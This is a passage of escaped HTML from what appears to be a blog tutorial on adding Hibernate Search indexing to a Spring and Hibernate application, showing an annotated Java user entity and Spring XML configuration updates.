&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /** minimal constructor */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public UpUser(String userScreenName,String userPassword) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userScreenName = userScreenName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userPassword = userPassword;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Property accessors&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;@DocumentId&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Integer getUserId() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return this.userId;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void setUserId(Integer userId) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userId = userId;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;@Field(index = Index.YES, analyze = Analyze.YES, store = Store.NO)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public String getUserScreenName() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return this.userScreenName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void setUserScreenName(String userScreenName) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userScreenName = userScreenName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public String getUserPassword() {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return this.userPassword;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void setUserPassword(String userPassword) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userPassword = userPassword;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: #a6a6a6; background-position: initial initial; background-repeat: initial initial; padding: 0in 5.4pt; width: 6.65in;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;In the above code we have added @DocumentId to our unique identifier field as it&#39;s mandatory, second change which we have done is in our getUserScreenName() which is actually an index to our application.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;As hibernate search documentation is not the party of my post, so want to stick with the topic but, you can get more stuff from&amp;nbsp;&lt;a href=&quot;http://docs.jboss.org/hibernate/search/4.1/reference/en-US/html_single/&quot;&gt;&quot;Hibernate Search&quot; reference page&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;Now as we have updated the libraries so, few more things we need to change in our previous code:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;Update the namespace in&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;resources/com/test/lab/spring/UpUserBean.xml,&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;resource/config/spring/DataSource.xml &amp;amp;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp;resources/config/spring/HibernateSessionFactory.xml&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoNormalTable&quot; style=&quot;border-collapse: collapse;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: #a6a6a6; background-position: initial initial; background-repeat: initial initial; padding: 0in 5.4pt; width: 6.65in;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;xml&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color: #7f007f;&quot;&gt;version&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;1.0&quot;&lt;/span&gt;&lt;/i&gt;&amp;nbsp;&lt;span style=&quot;color: #7f007f;&quot;&gt;encoding&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;UTF-8&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;beans&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color: #7f007f;&quot;&gt;xmlns&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://www.springframework.org/schema/beans&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #7f007f; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;xmlns:xsi&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #7f007f; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;xmlns:tx&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&quot;http://www.springframework.org/schema/tx&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #7f007f; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;xsi:schemaLocation&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&quot;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.2.xsd&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.2.xsd&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;Now, final change to setup the properties for lucene index.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;update the sessionFactory Bean in &lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;r&lt;b&gt;esources/config/spring/HibernateSessionFactory.xml:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoNormalTable&quot; style=&quot;border-collapse: collapse;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: #a6a6a6; padding: 0in 5.4pt; width: 6.65in;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #7f007f; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;sessionFactory&quot;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #7f007f; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;org.springframework.orm.hibernate4.LocalSessionFactoryBean&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;....&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;....&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;....&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;hibernateProperties&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;props&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
